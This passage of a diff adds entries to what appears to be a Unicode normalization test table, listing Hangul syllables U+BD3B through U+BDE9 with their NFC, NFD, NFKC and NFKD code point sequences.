+{ source: [0xBD3B], NFC: [0xBD3B], NFD: [0x1107, 0x116B, 0x11B6], NFKC: [0xBD3B], NFKD: [0x1107, 0x116B, 0x11B6] },
+{ source: [0xBD3C], NFC: [0xBD3C], NFD: [0x1107, 0x116B, 0x11B7], NFKC: [0xBD3C], NFKD: [0x1107, 0x116B, 0x11B7] },
+{ source: [0xBD3D], NFC: [0xBD3D], NFD: [0x1107, 0x116B, 0x11B8], NFKC: [0xBD3D], NFKD: [0x1107, 0x116B, 0x11B8] },
+{ source: [0xBD3E], NFC: [0xBD3E], NFD: [0x1107, 0x116B, 0x11B9], NFKC: [0xBD3E], NFKD: [0x1107, 0x116B, 0x11B9] },
+{ source: [0xBD3F], NFC: [0xBD3F], NFD: [0x1107, 0x116B, 0x11BA], NFKC: [0xBD3F], NFKD: [0x1107, 0x116B, 0x11BA] },
+{ source: [0xBD40], NFC: [0xBD40], NFD: [0x1107, 0x116B, 0x11BB], NFKC: [0xBD40], NFKD: [0x1107, 0x116B, 0x11BB] },
+{ source: [0xBD41], NFC: [0xBD41], NFD: [0x1107, 0x116B, 0x11BC], NFKC: [0xBD41], NFKD: [0x1107, 0x116B, 0x11BC] },
+{ source: [0xBD42], NFC: [0xBD42], NFD: [0x1107, 0x116B, 0x11BD], NFKC: [0xBD42], NFKD: [0x1107, 0x116B, 0x11BD] },
+{ source: [0xBD43], NFC: [0xBD43], NFD: [0x1107, 0x116B, 0x11BE], NFKC: [0xBD43], NFKD: [0x1107, 0x116B, 0x11BE] },
+{ source: [0xBD44], NFC: [0xBD44], NFD: [0x1107, 0x116B, 0x11BF], NFKC: [0xBD44], NFKD: [0x1107, 0x116B, 0x11BF] },
+{ source: [0xBD45], NFC: [0xBD45], NFD: [0x1107, 0x116B, 0x11C0], NFKC: [0xBD45], NFKD: [0x1107, 0x116B, 0x11C0] },
+{ source: [0xBD46], NFC: [0xBD46], NFD: [0x1107, 0x116B, 0x11C1], NFKC: [0xBD46], NFKD: [0x1107, 0x116B, 0x11C1] },
+{ source: [0xBD47], NFC: [0xBD47], NFD: [0x1107, 0x116B, 0x11C2], NFKC: [0xBD47], NFKD: [0x1107, 0x116B, 0x11C2] },
+{ source: [0xBD48], NFC: [0xBD48], NFD: [0x1107, 0x116C], NFKC: [0xBD48], NFKD: [0x1107, 0x116C] },
+{ source: [0xBD49], NFC: [0xBD49], NFD: [0x1107, 0x116C, 0x11A8], NFKC: [0xBD49], NFKD: [0x1107, 0x116C, 0x11A8] },
+{ source: [0xBD4A], NFC: [0xBD4A], NFD: [0x1107, 0x116C, 0x11A9], NFKC: [0xBD4A], NFKD: [0x1107, 0x116C, 0x11A9] },
+{ source: [0xBD4B], NFC: [0xBD4B], NFD: [0x1107, 0x116C, 0x11AA], NFKC: [0xBD4B], NFKD: [0x1107, 0x116C, 0x11AA] },
+{ source: [0xBD4C], NFC: [0xBD4C], NFD: [0x1107, 0x116C, 0x11AB], NFKC: [0xBD4C], NFKD: [0x1107, 0x116C, 0x11AB] },
+{ source: [0xBD4D], NFC: [0xBD4D], NFD: [0x1107, 0x116C, 0x11AC], NFKC: [0xBD4D], NFKD: [0x1107, 0x116C, 0x11AC] },
+{ source: [0xBD4E], NFC: [0xBD4E], NFD: [0x1107, 0x116C, 0x11AD], NFKC: [0xBD4E], NFKD: [0x1107, 0x116C, 0x11AD] },
+{ source: [0xBD4F], NFC: [0xBD4F], NFD: [0x1107, 0x116C, 0x11AE], NFKC: [0xBD4F], NFKD: [0x1107, 0x116C, 0x11AE] },
+{ source: [0xBD50], NFC: [0xBD50], NFD: [0x1107, 0x116C, 0x11AF], NFKC: [0xBD50], NFKD: [0x1107, 0x116C, 0x11AF] },
+{ source: [0xBD51], NFC: [0xBD51], NFD: [0x1107, 0x116C, 0x11B0], NFKC: [0xBD51], NFKD: [0x1107, 0x116C, 0x11B0] },
+{ source: [0xBD52], NFC: [0xBD52], NFD: [0x1107, 0x116C, 0x11B1], NFKC: [0xBD52], NFKD: [0x1107, 0x116C, 0x11B1] },
+{ source: [0xBD53], NFC: [0xBD53], NFD: [0x1107, 0x116C, 0x11B2], NFKC: [0xBD53], NFKD: [0x1107, 0x116C, 0x11B2] },
+{ source: [0xBD54], NFC: [0xBD54], NFD: [0x1107, 0x116C, 0x11B3], NFKC: [0xBD54], NFKD: [0x1107, 0x116C, 0x11B3] },
+{ source: [0xBD55], NFC: [0xBD55], NFD: [0x1107, 0x116C, 0x11B4], NFKC: [0xBD55], NFKD: [0x1107, 0x116C, 0x11B4] },
+{ source: [0xBD56], NFC: [0xBD56], NFD: [0x1107, 0x116C, 0x11B5], NFKC: [0xBD56], NFKD: [0x1107, 0x116C, 0x11B5] },
+{ source: [0xBD57], NFC: [0xBD57], NFD: [0x1107, 0x116C, 0x11B6], NFKC: [0xBD57], NFKD: [0x1107, 0x116C, 0x11B6] },
+{ source: [0xBD58], NFC: [0xBD58], NFD: [0x1107, 0x116C, 0x11B7], NFKC: [0xBD58], NFKD: [0x1107, 0x116C, 0x11B7] },
+{ source: [0xBD59], NFC: [0xBD59], NFD: [0x1107, 0x116C, 0x11B8], NFKC: [0xBD59], NFKD: [0x1107, 0x116C, 0x11B8] },
+{ source: [0xBD5A], NFC: [0xBD5A], NFD: [0x1107, 0x116C, 0x11B9], NFKC: [0xBD5A], NFKD: [0x1107, 0x116C, 0x11B9] },
+{ source: [0xBD5B], NFC: [0xBD5B], NFD: [0x1107, 0x116C, 0x11BA], NFKC: [0xBD5B], NFKD: [0x1107, 0x116C, 0x11BA] },
+{ source: [0xBD5C], NFC: [0xBD5C], NFD: [0x1107, 0x116C, 0x11BB], NFKC: [0xBD5C], NFKD: [0x1107, 0x116C, 0x11BB] },
+{ source: [0xBD5D], NFC: [0xBD5D], NFD: [0x1107, 0x116C, 0x11BC], NFKC: [0xBD5D], NFKD: [0x1107, 0x116C, 0x11BC] },
+{ source: [0xBD5E], NFC: [0xBD5E], NFD: [0x1107, 0x116C, 0x11BD], NFKC: [0xBD5E], NFKD: [0x1107, 0x116C, 0x11BD] },
+{ source: [0xBD5F], NFC: [0xBD5F], NFD: [0x1107, 0x116C, 0x11BE], NFKC: [0xBD5F], NFKD: [0x1107, 0x116C, 0x11BE] },
+{ source: [0xBD60], NFC: [0xBD60], NFD: [0x1107, 0x116C, 0x11BF], NFKC: [0xBD60], NFKD: [0x1107, 0x116C, 0x11BF] },
+{ source: [0xBD61], NFC: [0xBD61], NFD: [0x1107, 0x116C, 0x11C0], NFKC: [0xBD61], NFKD: [0x1107, 0x116C, 0x11C0] },
+{ source: [0xBD62], NFC: [0xBD62], NFD: [0x1107, 0x116C, 0x11C1], NFKC: [0xBD62], NFKD: [0x1107, 0x116C, 0x11C1] },
+{ source: [0xBD63], NFC: [0xBD63], NFD: [0x1107, 0x116C, 0x11C2], NFKC: [0xBD63], NFKD: [0x1107, 0x116C, 0x11C2] },
+{ source: [0xBD64], NFC: [0xBD64], NFD: [0x1107, 0x116D], NFKC: [0xBD64], NFKD: [0x1107, 0x116D] },
+{ source: [0xBD65], NFC: [0xBD65], NFD: [0x1107, 0x116D, 0x11A8], NFKC: [0xBD65], NFKD: [0x1107, 0x116D, 0x11A8] },
+{ source: [0xBD66], NFC: [0xBD66], NFD: [0x1107, 0x116D, 0x11A9], NFKC: [0xBD66], NFKD: [0x1107, 0x116D, 0x11A9] },
+{ source: [0xBD67], NFC: [0xBD67], NFD: [0x1107, 0x116D, 0x11AA], NFKC: [0xBD67], NFKD: [0x1107, 0x116D, 0x11AA] },
+{ source: [0xBD68], NFC: [0xBD68], NFD: [0x1107, 0x116D, 0x11AB], NFKC: [0xBD68], NFKD: [0x1107, 0x116D, 0x11AB] },
+{ source: [0xBD69], NFC: [0xBD69], NFD: [0x1107, 0x116D, 0x11AC], NFKC: [0xBD69], NFKD: [0x1107, 0x116D, 0x11AC] },
+{ source: [0xBD6A], NFC: [0xBD6A], NFD: [0x1107, 0x116D, 0x11AD], NFKC: [0xBD6A], NFKD: [0x1107, 0x116D, 0x11AD] },
+{ source: [0xBD6B], NFC: [0xBD6B], NFD: [0x1107, 0x116D, 0x11AE], NFKC: [0xBD6B], NFKD: [0x1107, 0x116D, 0x11AE] },
+{ source: [0xBD6C], NFC: [0xBD6C], NFD: [0x1107, 0x116D, 0x11AF], NFKC: [0xBD6C], NFKD: [0x1107, 0x116D, 0x11AF] },
+{ source: [0xBD6D], NFC: [0xBD6D], NFD: [0x1107, 0x116D, 0x11B0], NFKC: [0xBD6D], NFKD: [0x1107, 0x116D, 0x11B0] },
+{ source: [0xBD6E], NFC: [0xBD6E], NFD: [0x1107, 0x116D, 0x11B1], NFKC: [0xBD6E], NFKD: [0x1107, 0x116D, 0x11B1] },
+{ source: [0xBD6F], NFC: [0xBD6F], NFD: [0x1107, 0x116D, 0x11B2], NFKC: [0xBD6F], NFKD: [0x1107, 0x116D, 0x11B2] },
+{ source: [0xBD70], NFC: [0xBD70], NFD: [0x1107, 0x116D, 0x11B3], NFKC: [0xBD70], NFKD: [0x1107, 0x116D, 0x11B3] },
+{ source: [0xBD71], NFC: [0xBD71], NFD: [0x1107, 0x116D, 0x11B4], NFKC: [0xBD71], NFKD: [0x1107, 0x116D, 0x11B4] },
+{ source: [0xBD72], NFC: [0xBD72], NFD: [0x1107, 0x116D, 0x11B5], NFKC: [0xBD72], NFKD: [0x1107, 0x116D, 0x11B5] },
+{ source: [0xBD73], NFC: [0xBD73], NFD: [0x1107, 0x116D, 0x11B6], NFKC: [0xBD73], NFKD: [0x1107, 0x116D, 0x11B6] },
+{ source: [0xBD74], NFC: [0xBD74], NFD: [0x1107, 0x116D, 0x11B7], NFKC: [0xBD74], NFKD: [0x1107, 0x116D, 0x11B7] },
+{ source: [0xBD75], NFC: [0xBD75], NFD: [0x1107, 0x116D, 0x11B8], NFKC: [0xBD75], NFKD: [0x1107, 0x116D, 0x11B8] },
+{ source: [0xBD76], NFC: [0xBD76], NFD: [0x1107, 0x116D, 0x11B9], NFKC: [0xBD76], NFKD: [0x1107, 0x116D, 0x11B9] },
+{ source: [0xBD77], NFC: [0xBD77], NFD: [0x1107, 0x116D, 0x11BA], NFKC: [0xBD77], NFKD: [0x1107, 0x116D, 0x11BA] },
+{ source: [0xBD78], NFC: [0xBD78], NFD: [0x1107, 0x116D, 0x11BB], NFKC: [0xBD78], NFKD: [0x1107, 0x116D, 0x11BB] },
+{ source: [0xBD79], NFC: [0xBD79], NFD: [0x1107, 0x116D, 0x11BC], NFKC: [0xBD79], NFKD: [0x1107, 0x116D, 0x11BC] },
+{ source: [0xBD7A], NFC: [0xBD7A], NFD: [0x1107, 0x116D, 0x11BD], NFKC: [0xBD7A], NFKD: [0x1107, 0x116D, 0x11BD] },
+{ source: [0xBD7B], NFC: [0xBD7B], NFD: [0x1107, 0x116D, 0x11BE], NFKC: [0xBD7B], NFKD: [0x1107, 0x116D, 0x11BE] },
+{ source: [0xBD7C], NFC: [0xBD7C], NFD: [0x1107, 0x116D, 0x11BF], NFKC: [0xBD7C], NFKD: [0x1107, 0x116D, 0x11BF] },
+{ source: [0xBD7D], NFC: [0xBD7D], NFD: [0x1107, 0x116D, 0x11C0], NFKC: [0xBD7D], NFKD: [0x1107, 0x116D, 0x11C0] },
+{ source: [0xBD7E], NFC: [0xBD7E], NFD: [0x1107, 0x116D, 0x11C1], NFKC: [0xBD7E], NFKD: [0x1107, 0x116D, 0x11C1] },
+{ source: [0xBD7F], NFC: [0xBD7F], NFD: [0x1107, 0x116D, 0x11C2], NFKC: [0xBD7F], NFKD: [0x1107, 0x116D, 0x11C2] },
+{ source: [0xBD80], NFC: [0xBD80], NFD: [0x1107, 0x116E], NFKC: [0xBD80], NFKD: [0x1107, 0x116E] },
+{ source: [0xBD81], NFC: [0xBD81], NFD: [0x1107, 0x116E, 0x11A8], NFKC: [0xBD81], NFKD: [0x1107, 0x116E, 0x11A8] },
+{ source: [0xBD82], NFC: [0xBD82], NFD: [0x1107, 0x116E, 0x11A9], NFKC: [0xBD82], NFKD: [0x1107, 0x116E, 0x11A9] },
+{ source: [0xBD83], NFC: [0xBD83], NFD: [0x1107, 0x116E, 0x11AA], NFKC: [0xBD83], NFKD: [0x1107, 0x116E, 0x11AA] },
+{ source: [0xBD84], NFC: [0xBD84], NFD: [0x1107, 0x116E, 0x11AB], NFKC: [0xBD84], NFKD: [0x1107, 0x116E, 0x11AB] },
+{ source: [0xBD85], NFC: [0xBD85], NFD: [0x1107, 0x116E, 0x11AC], NFKC: [0xBD85], NFKD: [0x1107, 0x116E, 0x11AC] },
+{ source: [0xBD86], NFC: [0xBD86], NFD: [0x1107, 0x116E, 0x11AD], NFKC: [0xBD86], NFKD: [0x1107, 0x116E, 0x11AD] },
+{ source: [0xBD87], NFC: [0xBD87], NFD: [0x1107, 0x116E, 0x11AE], NFKC: [0xBD87], NFKD: [0x1107, 0x116E, 0x11AE] },
+{ source: [0xBD88], NFC: [0xBD88], NFD: [0x1107, 0x116E, 0x11AF], NFKC: [0xBD88], NFKD: [0x1107, 0x116E, 0x11AF] },
+{ source: [0xBD89], NFC: [0xBD89], NFD: [0x1107, 0x116E, 0x11B0], NFKC: [0xBD89], NFKD: [0x1107, 0x116E, 0x11B0] },
+{ source: [0xBD8A], NFC: [0xBD8A], NFD: [0x1107, 0x116E, 0x11B1], NFKC: [0xBD8A], NFKD: [0x1107, 0x116E, 0x11B1] },
+{ source: [0xBD8B], NFC: [0xBD8B], NFD: [0x1107, 0x116E, 0x11B2], NFKC: [0xBD8B], NFKD: [0x1107, 0x116E, 0x11B2] },
+{ source: [0xBD8C], NFC: [0xBD8C], NFD: [0x1107, 0x116E, 0x11B3], NFKC: [0xBD8C], NFKD: [0x1107, 0x116E, 0x11B3] },
+{ source: [0xBD8D], NFC: [0xBD8D], NFD: [0x1107, 0x116E, 0x11B4], NFKC: [0xBD8D], NFKD: [0x1107, 0x116E, 0x11B4] },
+{ source: [0xBD8E], NFC: [0xBD8E], NFD: [0x1107, 0x116E, 0x11B5], NFKC: [0xBD8E], NFKD: [0x1107, 0x116E, 0x11B5] },
+{ source: [0xBD8F], NFC: [0xBD8F], NFD: [0x1107, 0x116E, 0x11B6], NFKC: [0xBD8F], NFKD: [0x1107, 0x116E, 0x11B6] },
+{ source: [0xBD90], NFC: [0xBD90], NFD: [0x1107, 0x116E, 0x11B7], NFKC: [0xBD90], NFKD: [0x1107, 0x116E, 0x11B7] },
+{ source: [0xBD91], NFC: [0xBD91], NFD: [0x1107, 0x116E, 0x11B8], NFKC: [0xBD91], NFKD: [0x1107, 0x116E, 0x11B8] },
+{ source: [0xBD92], NFC: [0xBD92], NFD: [0x1107, 0x116E, 0x11B9], NFKC: [0xBD92], NFKD: [0x1107, 0x116E, 0x11B9] },
+{ source: [0xBD93], NFC: [0xBD93], NFD: [0x1107, 0x116E, 0x11BA], NFKC: [0xBD93], NFKD: [0x1107, 0x116E, 0x11BA] },
+{ source: [0xBD94], NFC: [0xBD94], NFD: [0x1107, 0x116E, 0x11BB], NFKC: [0xBD94], NFKD: [0x1107, 0x116E, 0x11BB] },
+{ source: [0xBD95], NFC: [0xBD95], NFD: [0x1107, 0x116E, 0x11BC], NFKC: [0xBD95], NFKD: [0x1107, 0x116E, 0x11BC] },
+{ source: [0xBD96], NFC: [0xBD96], NFD: [0x1107, 0x116E, 0x11BD], NFKC: [0xBD96], NFKD: [0x1107, 0x116E, 0x11BD] },
+{ source: [0xBD97], NFC: [0xBD97], NFD: [0x1107, 0x116E, 0x11BE], NFKC: [0xBD97], NFKD: [0x1107, 0x116E, 0x11BE] },
+{ source: [0xBD98], NFC: [0xBD98], NFD: [0x1107, 0x116E, 0x11BF], NFKC: [0xBD98], NFKD: [0x1107, 0x116E, 0x11BF] },
+{ source: [0xBD99], NFC: [0xBD99], NFD: [0x1107, 0x116E, 0x11C0], NFKC: [0xBD99], NFKD: [0x1107, 0x116E, 0x11C0] },
+{ source: [0xBD9A], NFC: [0xBD9A], NFD: [0x1107, 0x116E, 0x11C1], NFKC: [0xBD9A], NFKD: [0x1107, 0x116E, 0x11C1] },
+{ source: [0xBD9B], NFC: [0xBD9B], NFD: [0x1107, 0x116E, 0x11C2], NFKC: [0xBD9B], NFKD: [0x1107, 0x116E, 0x11C2] },
+{ source: [0xBD9C], NFC: [0xBD9C], NFD: [0x1107, 0x116F], NFKC: [0xBD9C], NFKD: [0x1107, 0x116F] },
+{ source: [0xBD9D], NFC: [0xBD9D], NFD: [0x1107, 0x116F, 0x11A8], NFKC: [0xBD9D], NFKD: [0x1107, 0x116F, 0x11A8] },
+{ source: [0xBD9E], NFC: [0xBD9E], NFD: [0x1107, 0x116F, 0x11A9], NFKC: [0xBD9E], NFKD: [0x1107, 0x116F, 0x11A9] },
+{ source: [0xBD9F], NFC: [0xBD9F], NFD: [0x1107, 0x116F, 0x11AA], NFKC: [0xBD9F], NFKD: [0x1107, 0x116F, 0x11AA] },
+{ source: [0xBDA0], NFC: [0xBDA0], NFD: [0x1107, 0x116F, 0x11AB], NFKC: [0xBDA0], NFKD: [0x1107, 0x116F, 0x11AB] },
+{ source: [0xBDA1], NFC: [0xBDA1], NFD: [0x1107, 0x116F, 0x11AC], NFKC: [0xBDA1], NFKD: [0x1107, 0x116F, 0x11AC] },
+{ source: [0xBDA2], NFC: [0xBDA2], NFD: [0x1107, 0x116F, 0x11AD], NFKC: [0xBDA2], NFKD: [0x1107, 0x116F, 0x11AD] },
+{ source: [0xBDA3], NFC: [0xBDA3], NFD: [0x1107, 0x116F, 0x11AE], NFKC: [0xBDA3], NFKD: [0x1107, 0x116F, 0x11AE] },
+{ source: [0xBDA4], NFC: [0xBDA4], NFD: [0x1107, 0x116F, 0x11AF], NFKC: [0xBDA4], NFKD: [0x1107, 0x116F, 0x11AF] },
+{ source: [0xBDA5], NFC: [0xBDA5], NFD: [0x1107, 0x116F, 0x11B0], NFKC: [0xBDA5], NFKD: [0x1107, 0x116F, 0x11B0] },
+{ source: [0xBDA6], NFC: [0xBDA6], NFD: [0x1107, 0x116F, 0x11B1], NFKC: [0xBDA6], NFKD: [0x1107, 0x116F, 0x11B1] },
+{ source: [0xBDA7], NFC: [0xBDA7], NFD: [0x1107, 0x116F, 0x11B2], NFKC: [0xBDA7], NFKD: [0x1107, 0x116F, 0x11B2] },
+{ source: [0xBDA8], NFC: [0xBDA8], NFD: [0x1107, 0x116F, 0x11B3], NFKC: [0xBDA8], NFKD: [0x1107, 0x116F, 0x11B3] },
+{ source: [0xBDA9], NFC: [0xBDA9], NFD: [0x1107, 0x116F, 0x11B4], NFKC: [0xBDA9], NFKD: [0x1107, 0x116F, 0x11B4] },
+{ source: [0xBDAA], NFC: [0xBDAA], NFD: [0x1107, 0x116F, 0x11B5], NFKC: [0xBDAA], NFKD: [0x1107, 0x116F, 0x11B5] },
+{ source: [0xBDAB], NFC: [0xBDAB], NFD: [0x1107, 0x116F, 0x11B6], NFKC: [0xBDAB], NFKD: [0x1107, 0x116F, 0x11B6] },
+{ source: [0xBDAC], NFC: [0xBDAC], NFD: [0x1107, 0x116F, 0x11B7], NFKC: [0xBDAC], NFKD: [0x1107, 0x116F, 0x11B7] },
+{ source: [0xBDAD], NFC: [0xBDAD], NFD: [0x1107, 0x116F, 0x11B8], NFKC: [0xBDAD], NFKD: [0x1107, 0x116F, 0x11B8] },
+{ source: [0xBDAE], NFC: [0xBDAE], NFD: [0x1107, 0x116F, 0x11B9], NFKC: [0xBDAE], NFKD: [0x1107, 0x116F, 0x11B9] },
+{ source: [0xBDAF], NFC: [0xBDAF], NFD: [0x1107, 0x116F, 0x11BA], NFKC: [0xBDAF], NFKD: [0x1107, 0x116F, 0x11BA] },
+{ source: [0xBDB0], NFC: [0xBDB0], NFD: [0x1107, 0x116F, 0x11BB], NFKC: [0xBDB0], NFKD: [0x1107, 0x116F, 0x11BB] },
+{ source: [0xBDB1], NFC: [0xBDB1], NFD: [0x1107, 0x116F, 0x11BC], NFKC: [0xBDB1], NFKD: [0x1107, 0x116F, 0x11BC] },
+{ source: [0xBDB2], NFC: [0xBDB2], NFD: [0x1107, 0x116F, 0x11BD], NFKC: [0xBDB2], NFKD: [0x1107, 0x116F, 0x11BD] },
+{ source: [0xBDB3], NFC: [0xBDB3], NFD: [0x1107, 0x116F, 0x11BE], NFKC: [0xBDB3], NFKD: [0x1107, 0x116F, 0x11BE] },
+{ source: [0xBDB4], NFC: [0xBDB4], NFD: [0x1107, 0x116F, 0x11BF], NFKC: [0xBDB4], NFKD: [0x1107, 0x116F, 0x11BF] },
+{ source: [0xBDB5], NFC: [0xBDB5], NFD: [0x1107, 0x116F, 0x11C0], NFKC: [0xBDB5], NFKD: [0x1107, 0x116F, 0x11C0] },
+{ source: [0xBDB6], NFC: [0xBDB6], NFD: [0x1107, 0x116F, 0x11C1], NFKC: [0xBDB6], NFKD: [0x1107, 0x116F, 0x11C1] },
+{ source: [0xBDB7], NFC: [0xBDB7], NFD: [0x1107, 0x116F, 0x11C2], NFKC: [0xBDB7], NFKD: [0x1107, 0x116F, 0x11C2] },
+{ source: [0xBDB8], NFC: [0xBDB8], NFD: [0x1107, 0x1170], NFKC: [0xBDB8], NFKD: [0x1107, 0x1170] },
+{ source: [0xBDB9], NFC: [0xBDB9], NFD: [0x1107, 0x1170, 0x11A8], NFKC: [0xBDB9], NFKD: [0x1107, 0x1170, 0x11A8] },
+{ source: [0xBDBA], NFC: [0xBDBA], NFD: [0x1107, 0x1170, 0x11A9], NFKC: [0xBDBA], NFKD: [0x1107, 0x1170, 0x11A9] },
+{ source: [0xBDBB], NFC: [0xBDBB], NFD: [0x1107, 0x1170, 0x11AA], NFKC: [0xBDBB], NFKD: [0x1107, 0x1170, 0x11AA] },
+{ source: [0xBDBC], NFC: [0xBDBC], NFD: [0x1107, 0x1170, 0x11AB], NFKC: [0xBDBC], NFKD: [0x1107, 0x1170, 0x11AB] },
+{ source: [0xBDBD], NFC: [0xBDBD], NFD: [0x1107, 0x1170, 0x11AC], NFKC: [0xBDBD], NFKD: [0x1107, 0x1170, 0x11AC] },
+{ source: [0xBDBE], NFC: [0xBDBE], NFD: [0x1107, 0x1170, 0x11AD], NFKC: [0xBDBE], NFKD: [0x1107, 0x1170, 0x11AD] },
+{ source: [0xBDBF], NFC: [0xBDBF], NFD: [0x1107, 0x1170, 0x11AE], NFKC: [0xBDBF], NFKD: [0x1107, 0x1170, 0x11AE] },
+{ source: [0xBDC0], NFC: [0xBDC0], NFD: [0x1107, 0x1170, 0x11AF], NFKC: [0xBDC0], NFKD: [0x1107, 0x1170, 0x11AF] },
+{ source: [0xBDC1], NFC: [0xBDC1], NFD: [0x1107, 0x1170, 0x11B0], NFKC: [0xBDC1], NFKD: [0x1107, 0x1170, 0x11B0] },
+{ source: [0xBDC2], NFC: [0xBDC2], NFD: [0x1107, 0x1170, 0x11B1], NFKC: [0xBDC2], NFKD: [0x1107, 0x1170, 0x11B1] },
+{ source: [0xBDC3], NFC: [0xBDC3], NFD: [0x1107, 0x1170, 0x11B2], NFKC: [0xBDC3], NFKD: [0x1107, 0x1170, 0x11B2] },
+{ source: [0xBDC4], NFC: [0xBDC4], NFD: [0x1107, 0x1170, 0x11B3], NFKC: [0xBDC4], NFKD: [0x1107, 0x1170, 0x11B3] },
+{ source: [0xBDC5], NFC: [0xBDC5], NFD: [0x1107, 0x1170, 0x11B4], NFKC: [0xBDC5], NFKD: [0x1107, 0x1170, 0x11B4] },
+{ source: [0xBDC6], NFC: [0xBDC6], NFD: [0x1107, 0x1170, 0x11B5], NFKC: [0xBDC6], NFKD: [0x1107, 0x1170, 0x11B5] },
+{ source: [0xBDC7], NFC: [0xBDC7], NFD: [0x1107, 0x1170, 0x11B6], NFKC: [0xBDC7], NFKD: [0x1107, 0x1170, 0x11B6] },
+{ source: [0xBDC8], NFC: [0xBDC8], NFD: [0x1107, 0x1170, 0x11B7], NFKC: [0xBDC8], NFKD: [0x1107, 0x1170, 0x11B7] },
+{ source: [0xBDC9], NFC: [0xBDC9], NFD: [0x1107, 0x1170, 0x11B8], NFKC: [0xBDC9], NFKD: [0x1107, 0x1170, 0x11B8] },
+{ source: [0xBDCA], NFC: [0xBDCA], NFD: [0x1107, 0x1170, 0x11B9], NFKC: [0xBDCA], NFKD: [0x1107, 0x1170, 0x11B9] },
+{ source: [0xBDCB], NFC: [0xBDCB], NFD: [0x1107, 0x1170, 0x11BA], NFKC: [0xBDCB], NFKD: [0x1107, 0x1170, 0x11BA] },
+{ source: [0xBDCC], NFC: [0xBDCC], NFD: [0x1107, 0x1170, 0x11BB], NFKC: [0xBDCC], NFKD: [0x1107, 0x1170, 0x11BB] },
+{ source: [0xBDCD], NFC: [0xBDCD], NFD: [0x1107, 0x1170, 0x11BC], NFKC: [0xBDCD], NFKD: [0x1107, 0x1170, 0x11BC] },
+{ source: [0xBDCE], NFC: [0xBDCE], NFD: [0x1107, 0x1170, 0x11BD], NFKC: [0xBDCE], NFKD: [0x1107, 0x1170, 0x11BD] },
+{ source: [0xBDCF], NFC: [0xBDCF], NFD: [0x1107, 0x1170, 0x11BE], NFKC: [0xBDCF], NFKD: [0x1107, 0x1170, 0x11BE] },
+{ source: [0xBDD0], NFC: [0xBDD0], NFD: [0x1107, 0x1170, 0x11BF], NFKC: [0xBDD0], NFKD: [0x1107, 0x1170, 0x11BF] },
+{ source: [0xBDD1], NFC: [0xBDD1], NFD: [0x1107, 0x1170, 0x11C0], NFKC: [0xBDD1], NFKD: [0x1107, 0x1170, 0x11C0] },
+{ source: [0xBDD2], NFC: [0xBDD2], NFD: [0x1107, 0x1170, 0x11C1], NFKC: [0xBDD2], NFKD: [0x1107, 0x1170, 0x11C1] },
+{ source: [0xBDD3], NFC: [0xBDD3], NFD: [0x1107, 0x1170, 0x11C2], NFKC: [0xBDD3], NFKD: [0x1107, 0x1170, 0x11C2] },
+{ source: [0xBDD4], NFC: [0xBDD4], NFD: [0x1107, 0x1171], NFKC: [0xBDD4], NFKD: [0x1107, 0x1171] },
+{ source: [0xBDD5], NFC: [0xBDD5], NFD: [0x1107, 0x1171, 0x11A8], NFKC: [0xBDD5], NFKD: [0x1107, 0x1171, 0x11A8] },
+{ source: [0xBDD6], NFC: [0xBDD6], NFD: [0x1107, 0x1171, 0x11A9], NFKC: [0xBDD6], NFKD: [0x1107, 0x1171, 0x11A9] },
+{ source: [0xBDD7], NFC: [0xBDD7], NFD: [0x1107, 0x1171, 0x11AA], NFKC: [0xBDD7], NFKD: [0x1107, 0x1171, 0x11AA] },
+{ source: [0xBDD8], NFC: [0xBDD8], NFD: [0x1107, 0x1171, 0x11AB], NFKC: [0xBDD8], NFKD: [0x1107, 0x1171, 0x11AB] },
+{ source: [0xBDD9], NFC: [0xBDD9], NFD: [0x1107, 0x1171, 0x11AC], NFKC: [0xBDD9], NFKD: [0x1107, 0x1171, 0x11AC] },
+{ source: [0xBDDA], NFC: [0xBDDA], NFD: [0x1107, 0x1171, 0x11AD], NFKC: [0xBDDA], NFKD: [0x1107, 0x1171, 0x11AD] },
+{ source: [0xBDDB], NFC: [0xBDDB], NFD: [0x1107, 0x1171, 0x11AE], NFKC: [0xBDDB], NFKD: [0x1107, 0x1171, 0x11AE] },
+{ source: [0xBDDC], NFC: [0xBDDC], NFD: [0x1107, 0x1171, 0x11AF], NFKC: [0xBDDC], NFKD: [0x1107, 0x1171, 0x11AF] },
+{ source: [0xBDDD], NFC: [0xBDDD], NFD: [0x1107, 0x1171, 0x11B0], NFKC: [0xBDDD], NFKD: [0x1107, 0x1171, 0x11B0] },
+{ source: [0xBDDE], NFC: [0xBDDE], NFD: [0x1107, 0x1171, 0x11B1], NFKC: [0xBDDE], NFKD: [0x1107, 0x1171, 0x11B1] },
+{ source: [0xBDDF], NFC: [0xBDDF], NFD: [0x1107, 0x1171, 0x11B2], NFKC: [0xBDDF], NFKD: [0x1107, 0x1171, 0x11B2] },
+{ source: [0xBDE0], NFC: [0xBDE0], NFD: [0x1107, 0x1171, 0x11B3], NFKC: [0xBDE0], NFKD: [0x1107, 0x1171, 0x11B3] },
+{ source: [0xBDE1], NFC: [0xBDE1], NFD: [0x1107, 0x1171, 0x11B4], NFKC: [0xBDE1], NFKD: [0x1107, 0x1171, 0x11B4] },
+{ source: [0xBDE2], NFC: [0xBDE2], NFD: [0x1107, 0x1171, 0x11B5], NFKC: [0xBDE2], NFKD: [0x1107, 0x1171, 0x11B5] },
+{ source: [0xBDE3], NFC: [0xBDE3], NFD: [0x1107, 0x1171, 0x11B6], NFKC: [0xBDE3], NFKD: [0x1107, 0x1171, 0x11B6] },
+{ source: [0xBDE4], NFC: [0xBDE4], NFD: [0x1107, 0x1171, 0x11B7], NFKC: [0xBDE4], NFKD: [0x1107, 0x1171, 0x11B7] },
+{ source: [0xBDE5], NFC: [0xBDE5], NFD: [0x1107, 0x1171, 0x11B8], NFKC: [0xBDE5], NFKD: [0x1107, 0x1171, 0x11B8] },
+{ source: [0xBDE6], NFC: [0xBDE6], NFD: [0x1107, 0x1171, 0x11B9], NFKC: [0xBDE6], NFKD: [0x1107, 0x1171, 0x11B9] },
+{ source: [0xBDE7], NFC: [0xBDE7], NFD: [0x1107, 0x1171, 0x11BA], NFKC: [0xBDE7], NFKD: [0x1107, 0x1171, 0x11BA] },
+{ source: [0xBDE8], NFC: [0xBDE8], NFD: [0x1107, 0x1171, 0x11BB], NFKC: [0xBDE8], NFKD: [0x1107, 0x1171, 0x11BB] },
+{ source: [0xBDE9], NFC: [0xBDE9], NFD: [0x1107, 0x1171, 0x11BC], NFKC: [0xBDE9], NFKD: [0x1107, 0x1171, 0x11BC] },
